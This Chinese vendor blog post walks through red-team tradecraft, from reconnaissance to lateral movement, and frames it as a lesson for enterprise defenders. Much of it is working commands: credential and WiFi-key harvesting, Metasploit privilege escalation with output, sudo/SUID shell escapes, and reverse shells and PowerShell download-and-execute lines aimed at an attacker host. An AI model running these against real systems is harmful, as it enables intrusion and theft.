云山雾隐 端隐SDP

企业博客

攻防对抗之红队那些事儿

前言

所谓实践是检验真理的唯一标准,云山雾隐在前不久的首届CSA西塞杯零信任攻防挑战赛中荣获“最佳防御”方案,同时零信任也再一次获得实战检验。在本次比赛中云山雾隐作为防守方,成功抵御了来自84支白帽子战队、315名选手对系统数据目标的密集攻击。今天我们就来聊一聊,攻防对抗中的红队都有哪些常用攻击方法及手段。

红队

一般在攻防对抗中攻击方为红队,通常红队成员的能力都较为全面:从信息收集、打点、横向渗透、免杀到钓鱼、社工等,每个人都具备明确的分工以便有组织地形成较强的团队作战能力。红队成员不仅仅会使用常见渗透测试工具,还会编写一些适用的工具方便快速找到系统薄弱点,同时也会对常见的CMS框架进行代码审计,掌握0Day、NDay漏洞。

红队三板斧

一、信息收集

收集的内容包括目标系统的组织架构、IT资产、敏感信息泄露、供应商信息等各个方面,通过对收集的信息进行梳理,定位到安全薄弱点,从而实施下一步的攻击行为。

域名收集

1.备案查询

通过以上三个平台,可以查询获得一批主域名、微博、邮箱等。

2.FOFA、Google查询:直接输入公司名称、主域名等进行搜索

domain="xxxx.com" header="xxxx.com"   cert="xxxx.com" host="xxxx.com" body="xxxx.com" copy

https://hunter.qianxin.com:搜索名称可以直接展示相关系统、安全设备等,现在查看分类需要付费。

3.证书查询

可直接在该网站查询:https://crt.sh/?q=baidu.com

4.使用浏览器查询

点击小锁--安全连接--更多信息--查看证书(有些可能没有),可以得到一些主域名以及子域名。

5.dns查询

用dnsdumpster.com查询是否存在自建NS服务器,再将ns名带入https://hackertarget.com/find-shared-dns-servers/进行查询,可以获得一批主域名:

6.whois查询

通过查询目标的WHOIS信息,对联系人、联系邮箱等信息进行反查以及查看whois历史信息,获取更多相关的域名信息;微步在线也可以根据IP、邮箱等查询历史域名。

7.通过众测平台查询资产范围,在众测平台上有些厂商会把资产范围放出来。

8.通过主域名对子域名进行搜索,可使用工具、搜索引擎等。

9.直接访问收集到的主域名,对网页上指向的域名链接进行收集(可能会放一些OA等办公系统的跳转)。

10.枚举域名

https://github.com/infosec-au/altdns, Altdns是一个DNS侦察工具,允许发现符合模式的子域。Altdns接收可能出现在域下的子域中的单词(如 test、dev、staging),并接收您知道的子域列表。

11.收集APP、公众号、小程序、PC应用资产

11.1 天眼查、企查查

11.2 微信APP搜索(小程序、公众号)

11.3 支付宝搜索(小程序、公众号)

11.4 工具ENScan(可查询企业APP信息、微信公众号信息、供应商信息等)

11.5 APP 查找应用商店、豌豆荚(可下载历史app)

11.6 PC可通过官网进行查找下载

12.根据前几种方式获取相关IP,然后探测可能存在的C段,可获取一些没有相关联信息的隐藏资产,再通过IP反查域名(https://github.com/Sma11New/ip2domain

IP收集

1.真实IP查找

CDN判断:

真实IP查找:

2.通过IP地址注册信息查询:https://ipwhois.cnnic.net.cn/

3.对上面域名解析获得的单个IP输入查询框,会有一个IP范围

4.使用FOFA等互联网资产收集工具直接搜索公司名称

5.C段扫描

敏感信息收集

1.利用Google

2.利用托管平台,如:GitHub、码云等

GitHub常用语法:

注意事项:如果搜索含有空格的查询,需要用引号将其括起来;

3.目录扫描

通过上面的收集能拿到:域名、IP、邮箱、姓名、手机号等,但需要验证是否属于该单位资产,以及需要对域名以及IP进行存活探测、端口扫描、web指纹识别、目录扫描等,快速定位到易被攻击的系统,从而实施进一步攻击。

存活探测,敏感资产定位

二、建立据点

在找到薄弱点后,红队会尝试利用漏洞或社工等方法去获取外网系统控制权限。在这个过程中,红队成员往往会使用最少流量动作去尝试突破边界防御,找到与内网连接的通道,这种由外到内的过程一般称之为纵向渗透,当初步获得权限后,若权限不够会进行提权,在进行稳固权限、建立隧道。

常见打点思路:

内网信息收集点

Windows

1.本机信息收集(涉及判断:我是谁?我在哪?这是哪?)

ipconfig /all                        --网卡配置 systeminfo                         --系统补丁信息等 echo %PROCESSOR_ARCHITECTURE%                --系统体系结构 wmic product get name,version                    --安装软件、版本、路径 wmic service list brief                                  --查询本机服务信息 tasklist -svc                        --进程查看 schtasks /query /fo list /v                          --任务计划查询 net statistics workstation                             --开机时间 net user                                 --查看用户 whoami /all                        --SID等用户信息 net localgroup administrators                --查看管理员组中的用户 net session                                              --会话查看 netstat -ano                                     --网络连接以及通过端口判断服务 net share                        --共享 route print                        --路由信息 arp -a                           --arp信息 cmdkey /l                                                --登录历史 hosts文件  Linux:/etc/hosts  Windows:c:\Windows\system32\drivers\etc\hosts ipconfig  /displaydns                                --dns缓存 net view                         --查看共享 dir /s /b "pass" "user" "config" "username." "password." --命令行查找敏感文件 findstr  /s /m "password" *.*              --寻找包含密码字段的文件,如数据库密码文件 net user /domain                     --查看域用户 net time /domain                     --查看时间服务器(可能为DC) net group "domain admins" /domain            --查看域管理员 net group "domaincontrollers" /domain          --查看域控制器 copy

2.常见默认配置文件位置

3.SPN

SPN:服务主体名称,使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务。

setspn -T domain.com -Q */* copy

4.会话、连接收集

net session     //需要管理员权限,列出或断开本地计算机和与之连接的客户端的会话 Navicat         //注册表HKEY_CURRENT_USER\SOFTWARE\PremiumSoft xshell      //连接记录,可能回存在使用ssh key登录的主机 copy

5.浏览器下载记录、书签、浏览历史以及浏览器保存的密码等

github:https://github.com/djhohnstein/SharpChromium   //cookie,passwd,history查看 copy

6.WIFI密码

cmd: for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear copy

7.任务计划(有些任务执行时需要将用户名和密码一起附上)、远程桌面连接记录等

Linux(CentOS 7)

1.系统版本信息

uname -a hostnamectl copy

2.系统环境变量

cat /etc/profile cat /etc/bashrc cat .bash_profile cat .bashrc cat .bash_logout env set copy

3.服务、网络连接以及进程

ps -aux               //进程 top cat /etc/services systemctl status ssh //查看某个服务是否在运行 chkconfig --list     //查看所有的服务状态 netstat -aunplt      //网络连接 arp -e route copy

4.查看安装程序

rpm -qa yum list installed copy

5.常见配置、敏感文件

find / -name *.conf cat /etc/my.conf      //mysql数据库 cat /etc/httpd/conf/httpd.conf  //apache tomcat-users.xml       //tomcat /etc/samba/smb.conf    //samba cat /etc/resolv.conf   //DNS域名解析 cat /etc/sysconfig/network cat /etc/hosts cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg /etc/sysconfig/iptables  //iptables规则 copy

6.查看任务计划

crontab -l         //查看任务计划,有部分恶意任务计划需要crontab -e 编辑才能看到 查看anacron异步定时任务:cat/etc/anacrontab cat /var/log/cron    查看任务计划日志 cat /etc/crontab cat /etc/cron.d/ cat /etc/cron.daily/ cat /etc/cron.hourly/ cat /etc/cron.weekly/ cat /etc/cron.monthly/ cat /var/spool/cron/ service cron status  #通过任务计划执行的服务 copy

7.可能有哪些纯文本用户名和密码

grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla copy

8.用户信息

cat /etc/passwd cat /etc/shadow ls /home   //家目录 last   //登录成功用户 w cat /etc/sudoers ls -alh /var/mail/ copy

9.历史记录

history cat /root/.viminfo //vim使用记录 cat .bash_history cat .nano_history cat .atftp_history cat .mysql_history cat .php_history cat .python_history copy

提权

1.基本概念

Windows常见权限分类:

Linux权限分类:

通常有两种提权方式,纵向提权及横向提权;纵向提权指的是低权限角色获取高权限角色的权限、横向提权指在系统A中获取了系统B中同级别的角色权限。常用提权方法有系统内核溢出漏洞提权、服务器中间件漏洞提权、数据库提权、其它第三方组件提权。

2.Windows提权

2.1 提权辅助脚本

http://bugs.hacking8.com/tiquan/将systeminfo输出的修补程序信息填入查询可利用的漏洞,查出漏洞后可在https://github.com/SecWiki/windows-kernel-exploits/查找下载利用程序进行提权;

2.2 msf提权

2.2.1 使用getsystem(权限为Administrator时大概率会成功,其他可能需要绕UAC)

①进程注入方式UAC use exploit/windows/local/bypassuac set payload windows/meterpreter/reverse_tcp set LHOST=192.168.1.8 set session 1 exploit 在执行getsystem ​ ②内存注入 use exploit/windows/local/bypassuac_injection set payload windows/meterpreter/reverse_tcp set LHOST=192.168.1.8 set session 1 exploit 在执行getsystem ​ ③Eventvwr注册表项 use exploit/windows/local/bypassuac_eventvwr ​ ④COM处理程序劫持 use exploit/windows/local/bypassuac_comhijack copy

2.2.2 会话派发到msf使用suggester辅助脚本提权

meterpreter > getuid    //查看权限 Server username: HACK\testuser meterpreter > background //当前激活的shell切换到后台 [*] Backgrounding session 1... msf5 exploit(multi/handler) > search suggester   //查找辅助提权模块 ​ Matching Modules ================ ​ #  Name                                      Disclosure Date  Rank    Check  Description ​ -  ----                                      ---------------  ----    -----  ----------- ​ 0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester ​ msf5 exploit(multi/handler) > use 0 msf5 post(multi/recon/local_exploit_suggester) > sessions //查看会话 ​ Active sessions =============== ​ Id  Name  Type                     Information                      Connection ​ --  ----  ----                     -----------                      ---------- ​ 1         meterpreter x86/windows  HACK\testuser @ WIN-1EVLV0JUJD6  192.168.43.6:8866 -> 192.168.43.87:49394 (192.168.43.87) ​ msf5 post(multi/recon/local_exploit_suggester) > set session 1 //设置会话 session => 1 msf5 post(multi/recon/local_exploit_suggester) > exploit ​ [*] 192.168.43.87 - Collecting local exploits for x86/windows... [*] 192.168.43.87 - 30 exploit checks are being tried... [+] 192.168.43.87 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 192.168.43.87 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 192.168.43.87 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 192.168.43.87 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 192.168.43.87 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 192.168.43.87 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 192.168.43.87 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated. [+] 192.168.43.87 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed //以上为查找出来的可利用的漏洞 ​ msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc   //选择上面的任意一个漏洞模块进入 msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options  //查看需要设置的参数 ​ Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc): ​ Name     Current Setting  Required  Description ​ ----     ---------------  --------  ----------- ​ SESSION                   yes       The session to run this module on. ​ ​ Exploit target: ​ Id  Name ​ --  ---- ​ 0   Windows x86 ​ msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 1 session => 1 msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit ​ [*] Started reverse TCP handler on 192.168.43.6:4444 [+] Compressed size: 1016 [!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell [*] Writing payload file, C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1... [*] Compressing script contents... [+] Compressed size: 3596 [*] Executing exploit script... __ __ ___ ___   ___     ___ ___ ___ [*] Sending stage (180291 bytes) to 192.168.43.87 ​ |  V  |  _|_  | |  _|___|   |_  |_  | |     |_  |_| |_| . |___| | |_  |  _| |_|_|_|___|_____|___|   |___|___|___|                     [by b33f -> @FuzzySec] ​ [?] Operating system core count: 4 [>] Duplicating CreateProcessWithLogonW handle [?] Done, using thread handle: 1212 ​ [*] Sniffing out privileged impersonation token.. ​ [?] Thread belongs to: svchost [+] Thread suspended [>] Wiping current impersonation token [>] Building SYSTEM impersonation token [?] Success, open SYSTEM token handle: 1208 [+] Resuming thread.. ​ [*] Sniffing out SYSTEM shell.. ​ [>] Duplicating SYSTEM token [>] Starting token race [>] Starting process race [!] Holy handle leak Batman, we have a SYSTEM shell!! ​ mzCdEBgemRgjV7PHoMA8c4KLG2nLKesP [+] Executed on target machine. [*] Meterpreter session 2 opened (192.168.43.6:4444 -> 192.168.43.87:49513) at 2022-06-01 09:30:28 +0800 [+] Deleted C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1 ​ meterpreter > getuid  //再次查看权限已为system Server username: NT AUTHORITY\SYSTEM meterpreter > ​ 其他提权模块: exploit/windows/local/unquoted_service_path set session 1 Exploit -j ​ use exploit/windows/local/service_permissions set sessions 1 run ​ use exploit/windows/local/always_install_elevated set sessions 1 run copy

2.3 烂土豆提权

github:https://github.com/uknowsec/SweetPotato

适用版本:Windows 7、8、10、2008、2012

SweetPotato.exe -a whoami copy

2.4 DLL劫持提权

使用msf生成一个DLL,替换掉应用的dll,等待应用重启(需要提前在本地测试)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f dll copy

2.5 pstools工具(适合于本地提权)

下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/

psexec.exe -accepteula -s -i -d cmd.exe   //得到system权限的cmd copy

3.Linux提权

3.1 内核溢出提权

3.2 sudo提权

sudo --version  //查看版本 sudo -l     //查看当前用户可以使用的sudo的命令程序 ​ 常规提权:(需要当前用户密码,如果管理员在/etc/sudoers配置了某些命令免密码使用,则可以利用该命令进行提权) 利用find sudo find . -exec /bin/sh \; -quit或者sudo awk 'BEGIN {system("/bin/sh")}' ​ python命令提权 sudo python -c 'import pty;pty.spawn("/bin/bash")' ​ 其他漏洞CVE-2019-14287、CVE-2021-3156 copy

3.3 suid提权

① 查找具有suid权限文件: find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; ​ 执行命令: find filename -exec whoami \;    //以SUID即root权限执行命令 如果是/usr/bin/bash执行bash -p     //将以root权限打开一个bash shell ​ ② nmap(旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令) nmap -v   //查看版本 root@localhost:~# nmap --interactive //交互模式 nmap> !sh root@localhost:~# whoami root ​ ③ vim Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。 vim.tiny /etc/shadow   //读取文件 ​ vim来打开shell vim.tiny # Press ESC key :set shell=/bin/sh :shell copy

3.4 su

sudo su - #使用root用户登录,不用输入root密码即可切换 ​ 利用python获取交互Shell python -c 'import pty;pty.spawn("/bin/sh")' sudo su copy

3.5 任务计划

ls -l /etc/cron* cat /etc/crontab 在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升; 如权限配置不当777的执行脚本,则可以修改脚本内容进行提权; copy

权限维持

1.反弹shell

nc attackhost:nc -lvp 9999 target:/bin/bash -i &> /dev/tcp/192.168.0.198/9999 <&1 ​ netcat nc -e /bin/bash 192.168.0.198 9999 copy

powershell 将ps1放到attackhost上 powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/Backdoor.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.1 -port 9999 copy

python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' copy

2.webshell

① 内存马隐藏 ② 通过attrib隐藏文件,在使用ADS流隐藏webshell需要和文件包含配合 copy

3.系统后门

Windows ① 利用任务计划定时反弹会话 ② 利用开机启动项 ③ 影子账户以及guest账户 ④ 注册表 ⑤ 系统工具后门(shift后门) ⑥ WMI后门 ⑦ DLL劫持 ⑧ 进程注入 ​ Linux ① ssh、openssh后门 ② 任务计划 ③ VIM后门 ④ 添加超级用户 ⑤ SUID后门 ⑥ 利用自启动程序 ⑦ rootkit后门 copy

4.利用IIS等服务制作后门维持权限

常用隧道建立工具

4.1 探测是否出网

4.2 网络层常用隧道

4.2.1 pingTunnel

github:https://github.com/esrrhs/pingtunnel

安装:

使用:

Forward sock5 pingtunnel.exe -type client -l: 4455 -s www.yourserver.com -sock5 1 Forward tcp pingtunnel.exe -type client -l: 4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1 Forward udp pingtunnel.exe -type client -l: 4455 -s www.yourserver.com -t www.yourserver.com:4455 copy

4.2.2 IPv6隧道

kali自带,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。

使用: 首先开启目标机上的IPV6,ipconfig查看ipv6地址 ​ kali:6tunnel -4 80 targetipv6IP 80   #这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口上(本机使用IPV4地址)转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务; copy

4.3 传输层常用隧道

4.3.1 IOX

github:https://github.com/EddieIvan01/iox

使用,比如我们将内网的3389端口转发到我们的attackhost:

target:./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565   #-k启用加密 vps:./iox fwd -l *8888 -l 33890 -k 656565 copy

socks代理

修改/etc/proxychains.conf

在本地0.0.0.0:1080启动Socks5服务

./iox proxy -l 1080 copy

在被控机开启Socks5服务,将服务转发到公网attackhost

在attackhost上转发0.0.0.0:9999到0.0.0.0:1080

你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连

./iox proxy -r 1.1.1.1:9999 ./iox proxy -l 9999 -l 1080       // 注意,这两个端口是有顺序的 copy

接着连接内网主机

# proxychains.conf # socks5://1.1.1.1:1080 $ proxychains rdesktop 192.168.0.100:3389 copy

4.4 应用层常用隧道

4.4.1 SSH

SSH常用参数:

-C 压缩传输 -f 后台执行SSH -N 建立静默连接 -g 允许远程主机连接本地用于转发的端口 -L 本地端口转发 -R 远程端口转发 -D 动态转发 -P 指定SSH端口 copy

4.4.2 本地端口转发

//攻击机:192.168.1.1  web服务器:192.168.1.2  数据库服务器:192.168.1.3,攻击机无法访问数据库服务器,但可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问的场景 攻击机执行:ssh -fCNg -L 2022:192.168.1.1:3389 root@192.168.1.2 -p 22  //攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机,此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面 copy

4.4.3 远程转发

//攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机,通过访问攻击机本机的2022端口来访问数据库服务器的3389端口 在web服务器上执行:ssh -CfNg -R 2022:192.168.1.3:3389 root@192.168.1.1 此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面 copy

4.4.4 动态转发

① 攻击机执行:ssh -CfNg -D 2022 root@192.168.1.2 ② 本地设置socks代理后即可访问数据库服务器 copy

4.5 HTTP(reGeorge)

github:https://github.com/sensepost/reGeorg

使用:

① 将tunnel. (aspx|ashx|jsp|php) 上传到网络服务器上传至web服务器网站,外部访问测试; ② 攻击机运行:python reGeorgSocksProxy.py -p 2022 -u http://192.168.1.2/tunnel.(aspx|ashx|jsp|php) //表示本地2022端口的流量都转发给指定的URL; ③ vim /etc/proxychains.conf修改proxychains的配置文件,将代理设置成本机2022端口; ④ proxychains command  //访问内网业务 copy

4.6 DNS(iodine)

github:https://github.com/yarrick/iodine

要使用此隧道,您需要一个真实的域名(如mydomain.com),以及一个具有公共 IP 地址的服务器以在其上运行iodined;部署使用参考文章:https://cloud.tencent.com/developer/article/1937092

三、横向移动

通常进入内网后,同样会进行内网信息收集、域内信息收集,在通过收集的信息进行内网漫游横向渗透扩大战果,在内网漫游过程中,会重点关注邮件服务器权限、OA系统权限、版本控制服务器权限、集中运维管理平台权限、统一认证系统权限、域控权限等位置,尝试突破核心系统权限、控制核心业务、获取核心数据,最终完成目标突破工作。

内网主机存活探测

1.ICMP

Windows: for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl=" ​ C:\Users\test>for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl=" 来自 192.168.1.1 的回复: 字节=32 时间=2ms TTL=254 来自 192.168.1.3 的回复: 字节=32 时间=127ms TTL=64 来自 192.168.1.5 的回复: 字节=32 时间=14ms TTL=64 Linux: for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done ​ root@localhost:~# for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done 192.168.1.1 192.168.1.3 192.168.1.5 copy

1.1 fscan

github:https://github.com/shadow1ng/fscan

fscan.exe -h 192.168.1.1/24  (默认使用全部模块) copy

2.ARP

2.1 arp-scan

github:https://github.com/royhills/arp-scan//下载后编译

C:\Users\test>arp-scan.exe -t 10.10.10.0/24 Reply that 20:65:8E:9C:11:EB is 10.10.10.1 in 13.379200 Reply that 88:52:EB:3A:3C:A5 is 10.10.10.14 in 139.440900 copy

2.2 arp-ping

下载地址:https://www.elifulkerson.com/projects/arp-ping.php

Arp-ping.exe 使用 ARP 解析来查找主机。使用这种方法,它能够“ping”受防火墙保护的主机 - 特别是发现使用 Windows 防火墙的主机以及在 Mac OSX 防火墙中使用“隐身模式”的主机。由于 ARP 协议仅在 OSI 模型的第 2 层起作用,因此 arp-ping.exe 只能对与您位于同一本地网络上的主机执行此任务。如果它们位于路由器或其他第 3 层设备的另一侧,您将得不到任何结果。

for /l %i in (1,1,255) do @arp-ping.exe 10.10.10.%i -w 1 -n 1|find /i "Reply" ​ E:\ipscan>for /l %i in (1,1,255) do @arp-ping.exe 10.10.10.%i -w 1 -n 1|find /i "Reply" Reply that 20:65:8E:9C:11:EB is 10.10.10.1 in 6.357ms Reply that F4:5C:89:93:C2:A9 is Reply that 80:30:49:3A:5D:BD is 10.10.10.176 in 0.175ms copy

3.nbtscan

NBTscan 是一个用于扫描 IP 网络以获取 NetBIOS 名称的程序。

github:https://github.com/lifenjoiner/nbtscan

E:\ipscan>nbtscan.exe 10.10.10.0/24 Doing NBT name scan for addresses from 10.10.10.0/24 ​ IP address       NetBIOS Name     Server    User             MAC address ------------------------------------------------------------------------------ 10.10.10.59      MACBOOKPRO-ED46                    90-9c-4a-d0-ed-46 10.10.10.119     MACBOOKPRO-C2A9            f4-5c-89-93-c2-a9 copy

4.nmap

ARP 扫描:     nmap -PR -sn 192.168.1.0/24 ICMP 扫描:    nmap ‐sP ‐PI 192.168.1.0/24 ‐T4 SNMP 扫描:    nmap -sU --script snmp-brute 192.168.1.0/24 -T4 UDP 扫描:     nmap -sU -T5 -sV --max-retries 1 192.168.1.1 -p 500 NetBIOS 扫描:     nmap --script nbstat.nse -sU -p137 192.168.1.0/24 -T4 copy

内网主机端口探测

1.单个端口探测

telnet E:\ipscan>telnet 10.10.25.176 80 正在连接10.10.25.176...无法打开到主机的连接。 在端口 80: 连接失败 ​ NC root@localhost:~# nc -vv 10.10.12.162 22 Connection to 10.10.12.162 22 port [tcp/ssh] succeeded! SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5 copy

2.多个端口探测

fscan    https://github.com/shadow1ng/fscan fscan.exe -h 192.168.1.1/24 -p 1-65535 ​ 通过代理后使用nmap、msf进行扫描 copy

横向移动方法:

相信大家看完本文,已经对攻防对抗中的红队有了初步的了解,从信息收集、建立据点到横向移动,以上“三板斧”就是红队常用的攻击方法及路径;企业可以从这三板斧中反思审查自身安全漏洞,补齐和完善应有的防御措施,力求从多方位全面保障自身安全。下期我们将带你了解面对红队的“三板斧”,蓝队又将如何做好防护措施。